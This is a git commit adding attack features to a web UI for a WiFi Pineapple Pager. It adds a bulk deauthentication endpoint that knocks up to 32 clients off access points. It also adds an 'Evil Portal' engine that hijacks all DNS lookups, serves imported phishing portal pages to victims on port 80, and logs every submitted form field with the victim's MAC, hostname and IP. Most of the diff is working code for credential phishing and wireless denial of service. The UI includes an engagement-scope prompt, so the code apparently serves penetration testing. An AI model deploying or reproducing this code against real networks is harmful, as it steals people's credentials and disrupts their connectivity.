feat(deauth,evilportal,capture): bulk deauth UX, Hak5-compatible Evil Portal, monitor capture fixes

- Recon AP focus sidebar: 'Deauth All Clients' with engagement-scope confirm
- Deauth Targeting card: 'Deauth All' behind the same scope confirmation
- New POST /api/attacks/deauth/bulk (max 32 targets, per-target results)
- Evil Portal tab: import EvilPortalNano-format portal zips into
  /mmc/mk8/portals, serve active portal on port 80 to unauthenticated
  clients via a minimal PHP shim, capture all form POSTs (.logs in stock
  MyPortal.php format + captures.jsonl), dnsmasq address=/#/ DNS hijack
- OpenAP: Evil Portal template dropdown (greyed when none), activated with
  the attack and stopped with it
- Monitor Capture fix: iface-less status now reports whichever monitor is
  actually capturing; pcap dir mkdir'd; tcpdump stderr surfaced instead of
  discarded
This commit is contained in:
c4ch3c4d3
2026-08-23 19:50:41 -06:00
parent f9eccd8030
commit 88d7141d45
7 changed files with 1304 additions and 29 deletions
+3 -1
View File
@@ -6,7 +6,9 @@ A Mark VII-style web management UI that runs **on the WiFi Pineapple Pager** at
Features: Dashboard (live), PineAP (settings, SSID pool, filters, clients/kick),
Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
terminal.
terminal. Recon AP focus offers bulk deauth; an Evil Portal tab imports Hak5
EvilPortalNano-format portals (`kleo/evilportals` compatible), serves them to
victims via DNS hijack on port 80, and captures form credentials.
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
+662 -24
View File
@@ -4437,6 +4437,21 @@ def h_attacks_deploy(ctx):
return 502, {'error': str(exc)}
update_pineap_state(mode='advanced', enabled=True, karma=True,
collect=True)
if kind == 'open':
# Optional Evil Portal binding: activate the selected template with
# the open AP; an empty value deactivates any active portal.
portal = (body.get('portal') or '').strip()
try:
if portal:
ok, err = _portal_activate(portal)
if not ok:
result['warning'] = 'portal activation failed: %s' % err
else:
result['portal'] = portal
elif _portal_active['name']:
_portal_deactivate()
except Exception as exc:
result['warning'] = 'portal activation error: %s' % exc
result['ok'] = True
return 200, result
@@ -4542,6 +4557,11 @@ def h_attacks_stop(ctx):
# Leave hop alone if a radio1 AP is still active.
if not _radio1_ap_active():
_resume_hop()
if kind == 'open' and _portal_active['name']:
try:
_portal_deactivate()
except Exception:
pass
return 200, {'ok': True, 'stopped': stopped}
@@ -4577,36 +4597,61 @@ def _capture_state(pidfile, iface):
def h_attacks_capture(ctx):
body = ctx.body or {}
action = body.get('action') or 'status'
iface = body.get('iface') or 'wlan0mon'
if iface not in ('wlan0mon', 'wlan1mon'):
iface = body.get('iface')
if iface is not None and iface not in ('wlan0mon', 'wlan1mon'):
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
pidfile = '/tmp/mk8_capture_%s.pid' % iface
capdir = '/root/loot/pcap'
if iface is None:
# No iface requested: report whichever capture is actually running
# across both monitors, else fall back to the default monitor. This
# keeps the UI honest when a capture was started on the other band.
states = {}
for name in ('wlan0mon', 'wlan1mon'):
running, pid, stale = _capture_state('/tmp/mk8_capture_%s.pid' % name, name)
states[name] = (running, pid, stale)
for name in ('wlan0mon', 'wlan1mon'):
if states[name][0]:
iface = name
break
else:
iface = 'wlan0mon'
running, old, stale = states[iface]
else:
pidfile = '/tmp/mk8_capture_%s.pid' % iface
running, old, stale = _capture_state(pidfile, iface)
if action == 'start':
if running:
return 200, {'running': True, 'pid': old, 'iface': iface}
device_run(['mkdir', '-p', capdir], timeout=10)
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
errlog = '/tmp/mk8_capture_%s.log' % iface
rc, out, err = device_run(
['sh', '-c',
'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s'
% (iface, path, pidfile)], timeout=10)
'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s'
% (iface, path, errlog, '/tmp/mk8_capture_%s.pid' % iface)], timeout=10)
try:
with open(pidfile) as f:
with open('/tmp/mk8_capture_%s.pid' % iface) as f:
pid = int(f.read().strip())
except (OSError, ValueError):
pid = None
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
detail = (err or out)[-300:]
try:
with open(errlog) as f:
detail = (detail + ' ' + f.read().strip())[-300:]
except OSError:
pass
return 502, {'error': 'tcpdump failed to start',
'iface': iface, 'detail': detail.strip()}
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
if action == 'stop':
if old is not None:
device_run(['kill', str(old)], timeout=10)
try:
os.unlink(pidfile)
os.unlink('/tmp/mk8_capture_%s.pid' % iface)
except OSError:
pass
return 200, {'running': False, 'stopped': old}
return 200, {'running': False, 'stopped': old, 'iface': iface}
# status
return 200, {'running': running, 'iface': iface,
'stale': stale, 'pid': old}
@@ -4647,31 +4692,609 @@ def h_attacks_download_hc22000(ctx):
return 200, Download(body, 'application/octet-stream', name)
def h_attacks_deauth(ctx):
body = ctx.body or {}
bssid = (body.get('bssid') or '').strip().upper()
client = (body.get('client') or '').strip().upper()
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
return 400, {'error': 'invalid AP MAC'}
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client):
return 400, {'error': 'invalid client MAC'}
channel = body.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
return 400, {'error': 'invalid channel'}
DEAUTH_MAC_RE = r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$'
DEAUTH_BULK_MAX = 32
def _deauth_one(bssid, client, channel):
"""Send deauth frames for one (ap, client) pair via hak5cmd.
Returns (ok, detail, inject_iface)."""
band = _band_of_channel(channel) if channel is not None else None
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
if inject != 'wlan1mon':
_pineap('INTERFACE', 'INJECT', inject)
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client,
str(channel or 1)], timeout=30)
if rc != 0:
return 502, {'error': 'deauth failed', 'detail': err or out}
return rc == 0, err or out, inject
def h_attacks_deauth(ctx):
body = ctx.body or {}
bssid = (body.get('bssid') or '').strip().upper()
client = (body.get('client') or '').strip().upper()
if not re.match(DEAUTH_MAC_RE, bssid):
return 400, {'error': 'invalid AP MAC'}
if not re.match(DEAUTH_MAC_RE, client):
return 400, {'error': 'invalid client MAC'}
channel = body.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
return 400, {'error': 'invalid channel'}
ok, detail, inject = _deauth_one(bssid, client, channel)
if not ok:
return 502, {'error': 'deauth failed', 'detail': detail}
return 200, {'ok': True, 'bssid': bssid, 'client': client,
'channel': channel, 'inject': inject}
def h_attacks_deauth_bulk(ctx):
"""Deauthenticate many clients of one or more APs in one call."""
body = ctx.body or {}
targets = body.get('targets')
if not isinstance(targets, list) or not targets:
return 400, {'error': 'targets must be a non-empty list'}
if len(targets) > DEAUTH_BULK_MAX:
return 400, {'error': 'too many targets (max %d)' % DEAUTH_BULK_MAX}
results = []
sent = 0
for idx, t in enumerate(targets):
if not isinstance(t, dict):
results.append({'index': idx, 'ok': False, 'error': 'invalid target'})
continue
bssid = (t.get('bssid') or '').strip().upper()
client = (t.get('client') or '').strip().upper()
problem = None
if not re.match(DEAUTH_MAC_RE, bssid):
problem = 'invalid AP MAC'
elif not re.match(DEAUTH_MAC_RE, client):
problem = 'invalid client MAC'
channel = t.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
problem = 'invalid channel'
if problem:
results.append({'index': idx, 'bssid': bssid, 'client': client,
'ok': False, 'error': problem})
continue
ok, detail, inject = _deauth_one(bssid, client, channel)
results.append({'index': idx, 'bssid': bssid, 'client': client,
'channel': channel, 'ok': ok,
**({} if ok else {'error': detail})})
if ok:
sent += 1
time.sleep(0.05)
return 200, {'results': results, 'sent': sent, 'failed': len(results) - sent}
# --------------------------------------------------------------------------
# Evil Portal: Hak5 EvilPortalNano-compatible captive portal engine.
# Portals are imported verbatim (index.php + assets + MyPortal.php + .ep);
# the backend shims the trivial PHP patterns stock portals use, serves the
# active portal on port 80 to unauthenticated clients, captures every form
# POST, and delivers victims via a dnsmasq DNS hijack.
# --------------------------------------------------------------------------
PORTALS_DIR = os.environ.get('PAGER_PORTALS_DIR', '/mmc/mk8/portals')
PORTAL_ACTIVE_FILE = os.path.join(PORTALS_DIR, '.active')
PORTAL_CAPTURES_FILE = os.path.join(PORTALS_DIR, 'captures.jsonl')
PORTAL_NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
PORTAL_MAX_ZIP_BYTES = int(os.environ.get('PAGER_PORTAL_MAX_ZIP', str(10 * 1024 * 1024)))
PORTAL_LAN_IFACE = os.environ.get('PAGER_LAN_IFACE', 'br-lan')
PORTAL_PORT = int(os.environ.get('PAGER_PORTAL_PORT', '80'))
_portal_lock = threading.Lock()
_portal_active = {'name': None}
def _portal_root(name):
if not name or not PORTAL_NAME_RE.match(name):
return None
return os.path.join(PORTALS_DIR, name)
def _rmtree(path):
try:
for root, dirs, files in os.walk(path, topdown=False):
for f in files:
try:
os.unlink(os.path.join(root, f))
except OSError:
pass
for d in dirs:
try:
os.rmdir(os.path.join(root, d))
except OSError:
pass
os.rmdir(path)
except OSError:
pass
def _portal_list():
portals = []
try:
entries = sorted(os.listdir(PORTALS_DIR))
except OSError:
entries = []
for name in entries:
root = _portal_root(name)
if not root or not os.path.isdir(root):
continue
if not os.path.isfile(os.path.join(root, 'index.php')):
continue
size = 0
for root_dir, _, files in os.walk(root):
for f in files:
try:
size += os.path.getsize(os.path.join(root_dir, f))
except OSError:
pass
portals.append({'name': name, 'bytes': size})
return portals
def _portal_import(data_bytes, requested_name=None):
"""Import an uploaded zip (EvilPortalNano layout). Returns portal name."""
import zipfile
import io as _io
if len(data_bytes) > PORTAL_MAX_ZIP_BYTES:
raise ValueError('portal zip too large (max %d bytes)' % PORTAL_MAX_ZIP_BYTES)
try:
zf = zipfile.ZipFile(_io.BytesIO(data_bytes))
except Exception:
raise ValueError('not a valid zip file')
names = [n for n in zf.namelist() if n and not n.endswith('/')]
if not names:
raise ValueError('empty zip file')
for n in names:
if n.startswith('/') or '\\' in n or '..' in n.split('/'):
raise ValueError('unsafe path in zip: %s' % n)
tops = set(n.split('/')[0] for n in names)
prefix = ''
if len(tops) == 1 and 'index.php' not in names and \
list(tops)[0] + '/index.php' in names:
prefix = list(tops)[0] + '/'
root_names = [n[len(prefix):] for n in names]
if 'index.php' not in root_names:
raise ValueError('portal must contain index.php')
meta_name = None
ep_files = [n for n in names
if n[len(prefix):].count('/') == 0 and n.endswith('.ep')]
if ep_files:
try:
meta = json.loads(zf.read(ep_files[0]).decode('utf-8', 'replace'))
candidate = meta.get('name')
if candidate and PORTAL_NAME_RE.match(str(candidate)):
meta_name = str(candidate)
except Exception:
pass
name = (requested_name or meta_name or (list(tops)[0] if len(tops) == 1 else '')
or 'portal').strip()
if not PORTAL_NAME_RE.match(name):
raise ValueError('invalid portal name')
root = _portal_root(name)
os.makedirs(PORTALS_DIR, exist_ok=True)
if os.path.exists(root):
_rmtree(root)
os.makedirs(root, exist_ok=True)
for src in names:
rel = src[len(prefix):]
dest = _safe_join(root, rel)
if not dest or not dest.startswith(os.path.abspath(root) + os.sep):
_rmtree(root)
raise ValueError('unsafe path in zip: %s' % src)
os.makedirs(os.path.dirname(dest), exist_ok=True)
with open(dest, 'wb') as f:
f.write(zf.read(src))
return name
def _lan_ip():
rc, out, err = device_run(['ip', '-4', 'addr', 'show', PORTAL_LAN_IFACE], timeout=10)
m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', out)
return m.group(1) if m else '172.16.52.1'
def _portal_dns_hijack(enable):
ip = _lan_ip()
if enable:
device_run(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/%s' % ip], timeout=10)
else:
# Absent option / fresh config both fine; ignore failures.
device_run(['uci', 'delete', 'dhcp.@dnsmasq[0].address'], timeout=10)
device_run(['uci', 'commit', 'dhcp'], timeout=10)
device_run(['/etc/init.d/dnsmasq', 'restart'], timeout=30)
def _portal_set_active(name):
with _portal_lock:
_portal_active['name'] = name
try:
os.makedirs(PORTALS_DIR, exist_ok=True)
tmp = PORTAL_ACTIVE_FILE + '.tmp'
with open(tmp, 'w') as f:
f.write((name or '') + '\n')
os.replace(tmp, PORTAL_ACTIVE_FILE)
except OSError:
pass
def _portal_activate(name):
root = _portal_root(name)
if not root or not os.path.isfile(os.path.join(root, 'index.php')):
return False, 'unknown portal'
_portal_dns_hijack(True)
_portal_set_active(name)
return True, None
def _portal_deactivate():
active = _portal_active['name']
_portal_dns_hijack(False)
_portal_set_active(None)
return bool(active)
def _portal_restore_on_boot():
"""Re-apply the DNS hijack if a portal was left active before restart."""
try:
with open(PORTAL_ACTIVE_FILE) as f:
name = f.read().strip()
except OSError:
return
if not name:
return
root = _portal_root(name)
if root and os.path.isfile(os.path.join(root, 'index.php')):
with _portal_lock:
_portal_active['name'] = name
try:
_portal_dns_hijack(True)
except Exception:
pass
def _dhcp_leases():
leases = {}
try:
with open('/tmp/dhcp.leases') as f:
for line in f:
parts = line.split()
if len(parts) >= 3:
mac = parts[1].upper()
ip = parts[2]
hostname = parts[3] if len(parts) > 3 else ''
leases[ip] = (mac, hostname)
except OSError:
pass
return leases
def _html_escape(s):
return (s.replace('&', '&amp;').replace('<', '&lt;')
.replace('>', '&gt;').replace('"', '&quot;'))
def _php_shim(text, client_ip, dest_url):
"""Resolve the trivial PHP expressions stock EvilPortalNano pages use."""
mac, hostname = _dhcp_leases().get(client_ip, ('', ''))
values = {
'mac': _html_escape(mac),
'hostname': _html_escape(hostname),
'ip': client_ip,
'dest': dest_url,
}
def sub_expr(m):
expr = m.group(1)
if 'getClientMac(' in expr:
return values['mac']
if 'getClientHostName(' in expr:
return values['hostname']
if "$_SERVER['REMOTE_ADDR']" in expr or '$_SERVER["REMOTE_ADDR"]' in expr:
return values['ip']
if '$destination' in expr or 'HTTP_HOST' in expr:
return values['dest']
return ''
text = re.sub(r'<\?=(.*?)\?>', sub_expr, text, flags=re.S)
text = re.sub(r'<\?php.*?\?>', '', text, flags=re.S)
text = re.sub(r'<\?(?!xml)(.*?)\?>', '', text, flags=re.S)
return text
_PORTAL_MIME = {
'.html': 'text/html', '.htm': 'text/html', '.php': 'text/html',
'.css': 'text/css', '.js': 'text/javascript',
'.png': 'image/png', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg',
'.gif': 'image/gif', '.svg': 'image/svg+xml', '.ico': 'image/x-icon',
'.woff': 'font/woff', '.woff2': 'font/woff2', '.ttf': 'font/ttf',
'.json': 'application/json', '.txt': 'text/plain',
}
def _portal_success_page(portal_name):
return ('<!DOCTYPE html><html><head><meta charset="utf-8">'
'<meta name="viewport" content="width=device-width,initial-scale=1">'
'<title>Success</title></head>'
'<body style="font-family:sans-serif;text-align:center;padding-top:15%%">'
'<h2>Authorization successful</h2>'
'<p>You may now use the network.</p>'
'<!-- %s --></body></html>' % _html_escape(portal_name or ''))
def _portal_capture(body_bytes, client_ip, portal_name):
fields = {}
try:
for k, v in _parse_qsl(body_bytes.decode('utf-8', 'replace')):
if k:
fields[k] = v
except Exception:
pass
mac, hostname = _dhcp_leases().get(client_ip, ('', ''))
ts = time.strftime('%Y-%m-%d %H:%M:%SZ', time.gmtime())
root = _portal_root(portal_name)
if root:
lines = ['[%s]' % ts]
for k in sorted(fields):
lines.append('%s: %s' % (k, fields[k]))
lines.append('hostname: %s' % hostname)
lines.append('mac: %s' % mac)
lines.append('ip: %s' % client_ip)
lines.append('')
try:
os.makedirs(root, exist_ok=True)
with open(os.path.join(root, '.logs'), 'a') as f:
f.write('\n'.join(lines))
except OSError:
pass
entry = {'ts': time.time(), 'time': ts, 'portal': portal_name,
'fields': fields, 'mac': mac, 'hostname': hostname,
'ip': client_ip}
try:
os.makedirs(PORTALS_DIR, exist_ok=True)
with open(PORTAL_CAPTURES_FILE, 'a') as f:
f.write(json.dumps(entry) + '\n')
except OSError:
pass
def _portal_handle_http(h):
"""Serve one victim request on the portal listener."""
path = h.path.split('?', 1)[0]
client_ip = h.addr[0] if h.addr else ''
host = h.headers.get('host') or ''
method = h.command
name = _portal_active['name']
root = _portal_root(name) if name else None
if not root or not os.path.isdir(root):
body = b''
h.send_response(404)
h.send_header('Content-Length', '0')
h.end_headers()
return
if method == 'POST':
# read_request() has already buffered the body; cap its size here.
data = getattr(h, 'body', b'') or b''
data = data[:65536]
_portal_capture(data, client_ip, name)
page = _portal_success_page(name).encode('utf-8')
h.send_response(200)
h.send_header('Content-Type', 'text/html; charset=utf-8')
h.send_header('Content-Length', str(len(page)))
h.send_header('Cache-Control', 'no-store')
h.end_headers()
h.connection.sendall(page)
return
rel = _unquote_plus(path.lstrip('/')) or 'index.php'
rel = rel.replace('\\', '/')
full = None if '..' in rel.split('/') else _safe_join(root, rel)
if not full or not os.path.isfile(full):
full = os.path.join(root, 'index.php')
ext = os.path.splitext(full)[1].lower()
ctype = _PORTAL_MIME.get(ext, 'application/octet-stream')
try:
with open(full, 'rb') as f:
raw = f.read(PORTAL_MAX_ZIP_BYTES)
except OSError:
raw = b''
if ext == '.php':
dest_url = 'http://' + host + path
rendered = _php_shim(raw.decode('utf-8', 'replace'), client_ip, dest_url)
raw = rendered.encode('utf-8')
ctype = 'text/html'
elif ctype == 'text/html':
ctype = 'text/html; charset=utf-8'
h.send_response(200)
h.send_header('Content-Type', ctype)
h.send_header('Content-Length', str(len(raw)))
h.send_header('Cache-Control', 'no-cache')
h.end_headers()
h.connection.sendall(raw)
class PortalHandler(PagerHandler):
"""Victim-facing handler: no auth, no same-origin, no admin surface."""
def _dispatch(self):
try:
_portal_handle_http(self)
except Exception:
try:
self.connection.sendall(b'HTTP/1.0 500 Internal Server Error\r\n'
b'Content-Length: 0\r\n\r\n')
except OSError:
pass
def _handle_portal_conn(conn, addr):
try:
conn.settimeout(30)
h = PortalHandler(conn, addr)
while not h.close_connection:
if not h.read_request():
break
h._dispatch()
except Exception:
pass
finally:
try:
conn.close()
except OSError:
pass
def _portal_server_loop():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
sock.bind((HOST, PORTAL_PORT))
except OSError:
# Port 80 unavailable (dev host, non-root): portal serving disabled.
return
sock.listen(16)
sock.settimeout(1)
while not LIVE_STOP.is_set():
try:
conn, addr = sock.accept()
except socket.timeout:
continue
threading.Thread(target=_handle_portal_conn, args=(conn, addr),
daemon=True).start()
# ---- Evil Portal management API -----------------------------------------
def h_portals_list(ctx):
portals = []
for p in _portal_list():
p['captures'] = _portal_capture_count(p['name'])
portals.append(p)
return 200, {'portals': portals, 'active': _portal_active['name']}
def _portal_capture_count(name):
count = 0
try:
with open(PORTAL_CAPTURES_FILE) as f:
for line in f:
try:
if json.loads(line).get('portal') == name:
count += 1
except Exception:
continue
except OSError:
pass
return count
def h_portals_import(ctx):
body = ctx.body or {}
data_b64 = body.get('data') or ''
try:
data = base64.b64decode(data_b64, validate=False)
except Exception:
return 400, {'error': 'invalid base64 payload'}
if not data:
return 400, {'error': 'missing zip data'}
try:
name = _portal_import(data, (body.get('name') or '').strip() or None)
except ValueError as exc:
return 400, {'error': str(exc)}
return 200, {'ok': True, 'name': name}
def h_portals_delete(ctx):
name = ctx.args[0] if ctx.args else ''
root = _portal_root(name)
if not root or not os.path.isdir(root):
return 404, {'error': 'portal not found'}
if _portal_active['name'] == name:
try:
_portal_deactivate()
except Exception:
pass
_rmtree(root)
return 200, {'ok': True}
def h_portals_activate(ctx):
name = ctx.args[0] if ctx.args else ''
ok, err = _portal_activate(name)
if not ok:
return 404, {'error': err}
return 200, {'ok': True, 'active': name}
def h_portals_deactivate(ctx):
stopped = _portal_deactivate()
return 200, {'ok': True, 'stopped': stopped}
def h_portals_captures(ctx):
limit = 200
try:
limit = max(1, min(int(ctx.query.get('limit', 200)), 1000))
except (TypeError, ValueError):
pass
entries = []
try:
with open(PORTAL_CAPTURES_FILE) as f:
for line in f:
line = line.strip()
if not line:
continue
try:
entries.append(json.loads(line))
except Exception:
continue
except OSError:
pass
return 200, {'captures': list(reversed(entries[-limit:])),
'total': len(entries)}
def h_portals_captures_clear(ctx):
try:
os.unlink(PORTAL_CAPTURES_FILE)
except OSError:
pass
return 200, {'ok': True}
def h_portal_logs(ctx):
name = ctx.args[0] if ctx.args else ''
root = _portal_root(name)
path = os.path.join(root, '.logs') if root else None
if not path or not os.path.isfile(path):
return 404, {'error': 'no captured logs'}
with open(path, 'rb') as f:
return 200, Download(f.read(), 'text/plain', '%s.logs.txt' % name)
def h_portal_download(ctx):
import zipfile
import io as _io
name = ctx.args[0] if ctx.args else ''
root = _portal_root(name)
if not root or not os.path.isdir(root):
return 404, {'error': 'portal not found'}
buf = _io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root):
for fn in files:
full = os.path.join(dirpath, fn)
rel = os.path.relpath(full, root)
try:
zf.write(full, os.path.join(name, rel))
except OSError:
continue
return 200, Download(buf.getvalue(), 'application/zip',
'%s.zip' % name)
def _pineap(*args, timeout=30):
with _pineapd_cmd_lock:
rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout)
@@ -7171,6 +7794,16 @@ ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture)
ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000)
ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc22000)
ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth)
ROUTER.add('POST', r'/api/attacks/deauth/bulk', h_attacks_deauth_bulk)
ROUTER.add('GET', r'/api/portals', h_portals_list)
ROUTER.add('POST', r'/api/portals/import', h_portals_import)
ROUTER.add('GET', r'/api/portals/captures', h_portals_captures)
ROUTER.add('DELETE', r'/api/portals/captures', h_portals_captures_clear)
ROUTER.add('POST', r'/api/portals/([^/]+)/activate', h_portals_activate)
ROUTER.add('POST', r'/api/portals/([^/]+)/deactivate', h_portals_deactivate)
ROUTER.add('GET', r'/api/portals/([^/]+)/logs', h_portal_logs)
ROUTER.add('GET', r'/api/portals/([^/]+)/download', h_portal_download)
ROUTER.add('DELETE', r'/api/portals/([^/]+)', h_portals_delete)
ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients)
ROUTER.add('GET', r'/api/health', h_health)
ROUTER.add('POST', r'/mcp', h_mcp)
@@ -7487,6 +8120,11 @@ def serve():
start_health_monitor()
if os.environ.get('PAGER_WEBUI_BOOT') == '1':
_enterprise_boot_recover()
try:
_portal_restore_on_boot()
except Exception:
pass
threading.Thread(target=_portal_server_loop, daemon=True).start()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
@@ -31,6 +31,7 @@ const App = (() => {
{ key: 'dashboard', label: 'Dashboard', hash: '#/dashboard', icon: 'dashboard' },
{ key: 'pineap', label: 'PineAP', hash: '#/pineap', icon: 'wifi' },
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
{ key: 'evilportal', label: 'Evil Portal', hash: '#/evilportal', icon: 'portal' },
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
@@ -420,6 +421,7 @@ const App = (() => {
'#/recon': 'recon',
'#/recon/reports': 'recon_reports',
'#/recon/handshakes': 'recon_handshakes',
'#/evilportal': 'evilportal',
'#/logging': 'logging',
'#/logging/system': 'logging_system',
'#/modules': 'modules',
@@ -39,5 +39,6 @@ window.PineappleIcons = {
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>',
portal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.32,21.58 9.5,21.29 9.5,21.05C9.5,20.83 9.49,20.1 9.49,19.33C7,19.79 6.41,17.82 6.41,17.82C5.97,16.68 5.33,16.39 5.33,16.39C4.45,15.79 5.39,15.8 5.39,15.8C6.36,15.87 6.86,16.79 6.86,16.79C7.73,18.27 9.15,17.84 9.71,17.59C9.8,16.97 10.05,16.54 10.32,16.3C8.14,16.06 5.85,15.22 5.85,11.44C5.85,10.37 6.23,9.5 6.85,8.81C6.75,8.57 6.41,7.57 6.95,6.22C6.95,6.22 7.78,5.96 9.49,7.11C10.29,6.89 11.13,6.78 11.97,6.78C12.81,6.78 13.65,6.89 14.45,7.11C16.16,5.96 16.99,6.22 16.99,6.22C17.53,7.57 17.19,8.57 17.09,8.81C17.71,9.5 18.09,10.37 18.09,11.44C18.09,15.23 15.8,16.06 13.61,16.3C13.96,16.6 14.27,17.19 14.27,18.1C14.27,19.4 14.26,20.45 14.26,20.77C14.26,21.03 14.44,21.32 14.92,21.23C18.89,19.93 22,16.42 22,12A10,10 0 0,0 12,2Z"/></svg>'
};
@@ -684,6 +684,7 @@ views.pineap_open = attackLauncher('open', {
title: 'OpenAP',
bssid: true,
country: true,
portal: true,
tabHash: '#/pineap/open'
});
@@ -1186,6 +1187,9 @@ function attackLauncher(kind, opts) {
text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' }));
}
let portalSel = null;
if (opts.portal) portalSel = h('select', { id: 'atk-portal' });
f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' },
h('div', {}, (function () {
const deployBtn = btn('Deploy Attack', () => {
@@ -1197,6 +1201,7 @@ function attackLauncher(kind, opts) {
if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; }
if (bssidIn) body.bssid = bssidIn.value.trim();
if (coSel) body.country = coSel.value;
if (portalSel) body.portal = portalSel.value || '';
runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body)
.then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…');
});
@@ -1215,6 +1220,34 @@ function attackLauncher(kind, opts) {
const status = attackStatusCard();
box.appendChild(status.card);
if (opts.portal) {
const pCard = h('div', { class: 'pineap-title-card' });
pCard.appendChild(h('div', { class: 'pineap-card-title' }, 'Evil Portal'));
const pBody = h('div', { style: 'font-size:13px' });
pCard.appendChild(pBody);
box.appendChild(pCard);
PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
const portals = d.portals || [];
portalSel.innerHTML = '';
if (!portals.length) {
portalSel.disabled = true;
portalSel.appendChild(h('option', { value: '', text: 'No portal templates imported' }));
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Import a Hak5-format portal zip in the Evil Portal tab to enable credential capture.' }));
return;
}
portalSel.appendChild(h('option', { value: '', text: 'None' }));
portals.forEach((p) => portalSel.appendChild(
h('option', { value: p.name, text: p.name + (p.name === d.active ? ' (active)' : '') })));
if (d.active && portals.some((p) => p.name === d.active)) portalSel.value = d.active;
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'The selected portal is activated when this attack deploys and stopped with it.' }));
}).catch(() => {});
}
const hsBox = h('div', {});
const captureBox = h('div', { class: 'pineap-title-card' });
captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture'));
@@ -1226,6 +1259,9 @@ function attackLauncher(kind, opts) {
function capRow(st) {
capBody.innerHTML = '';
const run = !!(st && st.running);
// Adopt the iface the backend reports as actually capturing: the
// status poll may target a different monitor than the form default.
if (run && st.iface) capIface = st.iface;
capBody.appendChild(h('div', { class: 'row' },
h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }),
h('div', {}, (function () {
@@ -1384,6 +1420,24 @@ function deauthPanel(ssidRef) {
const apSel = h('select', {});
const clTable = h('div', {});
let lastLookup = '';
let lastClients = [];
const deauthAllBtn = btn('Deauth All', () => {
const parts = apSel.value.split('|');
if (!lastClients.length) { App.toast('No devices to deauth — run Find first', 'error'); return; }
if (!parts[0]) { App.toast('Pick an AP first', 'error'); return; }
if (!window.confirm('Deauthenticate ALL ' + lastClients.length +
' listed device(s) against ' + parts[0] + '?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAllBtn, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: lastClients.map((mac) => ({
bssid: parts[0], client: mac,
